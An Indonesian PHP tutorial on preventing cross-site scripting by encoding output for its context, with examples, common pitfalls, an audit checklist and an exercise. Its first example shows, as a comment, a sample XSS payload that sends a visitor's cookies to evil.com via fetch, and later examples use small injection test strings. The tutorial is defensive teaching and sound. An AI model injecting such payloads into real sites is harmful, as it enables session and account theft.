keamananxsssanitasiMahir4 mnt baca

Mencegah XSS

Pahami serangan Cross-Site Scripting dan cara menutupnya dengan output encoding.

Analogi: Surat Kaleng Beracun

Website-mu seperti papan pengumuman: pengunjung boleh menempel catatan. XSS (Cross-Site Scripting) terjadi saat penyerang menempel "catatan" berisi <script> jahat, dan browser pengunjung lain menjalankannya karena mengira itu bagian websitemu. Script itu bisa mencuri cookie, mengubah tampilan, atau mengendalikan akun korban.

Ada tiga jenis: stored (script tersimpan di database/komentar, menyerang semua pengunjung), reflected (script di URL, menyerang yang mengklik link), DOM-based (diolah JavaScript). Semuanya berakar sama: data user ditampilkan tanpa encoding.

php
<?php
// Contoh 1: serangan dan pertahanan
// Penyerang mengisi komentar: <script>fetch("https://evil.com?c="+document.cookie)</script>

// SALAH: tampil langsung
echo $komentar;   // script JALAN di browser korban!

// BENAR: encode saat OUTPUT
echo htmlspecialchars($komentar, ENT_QUOTES, "UTF-8");
// Menjadi teks biasa: &lt;script&gt;... tidak dijalankan browser

Aturan emas: encode saat menampilkan, bukan saat menyimpan. Simpan data asli di database (agar bisa dipakai untuk banyak format: HTML, JSON, PDF), encode sesuai konteks saat output. htmlspecialchars mengubah <>&"' menjadi entitas aman.

php
<?php
// Contoh 2: konteks berbeda, encoding berbeda
$userInput = '"><script>alert(1)</script>';

// Konteks 1: isi HTML
echo "<p>" . htmlspecialchars($userInput, ENT_QUOTES, "UTF-8") . "</p>";

// Konteks 2: di dalam atribut HTML (butuh ENT_QUOTES untuk kutip!)
echo '<input value="' . htmlspecialchars($userInput, ENT_QUOTES, "UTF-8") . '">';

// Konteks 3: di dalam JavaScript (json_encode, bukan htmlspecialchars!)
echo "<script>var nama = " . json_encode($userInput) . ";</script>";

// Konteks 4: di dalam URL
echo '<a href="/cari?q=' . urlencode($userInput) . '">cari</a>';

Kesalahan klasik: memakai htmlspecialchars di dalam <script>. </script><script> tetap bisa lolos karena konteksnya JavaScript, bukan HTML. Tiap konteks punya encoder-nya: HTML -> htmlspecialchars, JS -> json_encode, URL -> urlencode.

Jebakan yang Sering Terjadi

strip_tags sebagai pertahanan utama. strip_tags($input) terlihat cukup, tapi penyerang punya banyak jalan: <img src=x onerror=...> atau event handler tanpa tag script. strip_tags hanya untuk membersihkan format, bukan pertahanan XSS. Pertahanan sebenarnya selalu output encoding.

Lupa charset di htmlspecialchars. Tanpa parameter "UTF-8", encoding memakai default yang bisa berbeda antar server dan membuka celah charset-based XSS. Selalu tulis lengkap: htmlspecialchars($x, ENT_QUOTES, "UTF-8"). Atau set sekali via ini_set("default_charset", "UTF-8").

Audit Cepat: Cari echo Telanjang

Cara tercepat menemukan lubang XSS di project: cari semua echo yang menampilkan data luar tanpa encoding.

php
<?php
// Pola berbahaya yang sering ditemukan saat audit:
echo $_GET["nama"];                    // BAHAYA
echo "<p>" . $komentar . "</p>";        // BAHAYA jika $komentar dari user
echo $row["judul"];                    // BAHAYA jika dari database (input user!)

// Pola aman:
echo htmlspecialchars($_GET["nama"] ?? "", ENT_QUOTES, "UTF-8");
echo "<p>" . htmlspecialchars($komentar, ENT_QUOTES, "UTF-8") . "</p>";

Ingat: data dari database tetap "data luar" karena awalnya diketik user. Satu-satunya data yang aman tanpa encoding adalah yang ditulis programmer sendiri (label, teks statis). Saat ragu, encode saja: double-encoding pada teks polos tidak merusak tampilan.

Catatan teknis: Header Content-Security-Policy: script-src 'self' adalah jaring pengaman tambahan: kalaupun XSS lolos, browser menolak menjalankan script dari domain asing. Pasang di production sebagai defense in depth, tapi jangan jadikan pengganti encoding.

Tantangan

Perbaiki daftar komentar

Diberi loop yang rentan: foreach ($komentar as $k) { echo "<p>$k</p>"; }. Perbaiki agar aman dari stored XSS dengan output encoding yang benar, termasuk untuk nama penulis di dalam atribut title.